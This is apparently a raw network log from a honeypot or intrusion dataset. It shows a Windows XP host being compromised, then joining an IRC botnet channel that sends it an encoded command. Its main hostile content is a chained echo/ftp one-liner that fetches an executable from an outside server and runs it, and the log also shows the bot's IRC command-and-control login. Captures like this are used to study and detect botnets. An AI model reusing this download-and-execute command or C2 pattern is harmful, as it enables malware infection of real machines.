VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> ATTACKER: 220 VICTIM: USER xxcupq ATTACKER: echo open 130.15.63.51 54236 >> asr_xxcup &echo user xxcupq xxcupq >> asr_xxcup &echo get asr_41061.exe >> asr_xxcup &echo quit >> asr_xxcup &ftp -nv -s:asr_xxcup &start asr_41061.exeConnected to 130.15.63.51.open 130.15.63.51 54236 220 ATTACKER: 331 VICTIM: PASS xxcupq ATTACKER: 230 VICTIM: user xxcupq xxcupq 331230 VICTIM: PORT 192,168,1,165,4 ATTACKER: 200 ATTACKER: RETR asr_41061.exe ATTACKER: 150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: PASS secretpass VICTIM: NICK P|qvb4xgt76USER eek6x2dlg * 0 :USA|XP|058 ATTACKER: :hub.58835.net 001 P|qvb4xgt76 :P|qvb4xgt76!eek6x2dlg@192.168.1.165:hub.58835.net 1 P|qvb4xgt76 :Login: :hub.58835.net 376 P|qvb4xgt76 : VICTIM: USERHOST P|qvb4xgt76 ATTACKER: :hub.58835.net 302 P|qvb4xgt76 :P|qvb4xgt76=+eek6x2dlg@192.168.1.165 VICTIM: USERHOST P|qvb4xgt76MODE P|qvb4xgt76 JOIN #mm RSA ATTACKER: :hub.58835.net 302 P|qvb4xgt76 :P|qvb4xgt76=+eek6x2dlg@192.168.1.165 :hub.58835.net 221 P|qvb4xgt76 +:P|qvb4xgt76!eek6x2dlg@192.168.1.165 JOIN :#mm:hub.58835.net 332 P|qvb4xgt76 #mm :+t0Cc2/G5oAh06w2GQ0tQkXD1bqhV7/ipBe01hiyOt1tAGoD0bni40/nobx.1Yk9c/0huyUx0ugcQs0puLM0.F7Xil0nzHEC.zO2Ji.qiFiN1SKMD1/U7WMz.Y32Vl.icZdS/6IIdG/IzRhU/kSotz0n075k/wLZMb.FzK1Y/C5aBp.H2I7z1vdVFY0rM6ME135Qy/1qcS5D0 ATTACKER: PING :hub.58835.net ATTACKER: PONG hub.58835.net ATTACKER: PING :hub.58835.net ATTACKER: PONG hub.58835.net ATTACKER: PING :hub.58835.net ATTACKER: PONG hub.58835.net ATTACKER: PING :hub.58835.net ATTACKER: PONG hub.58835.net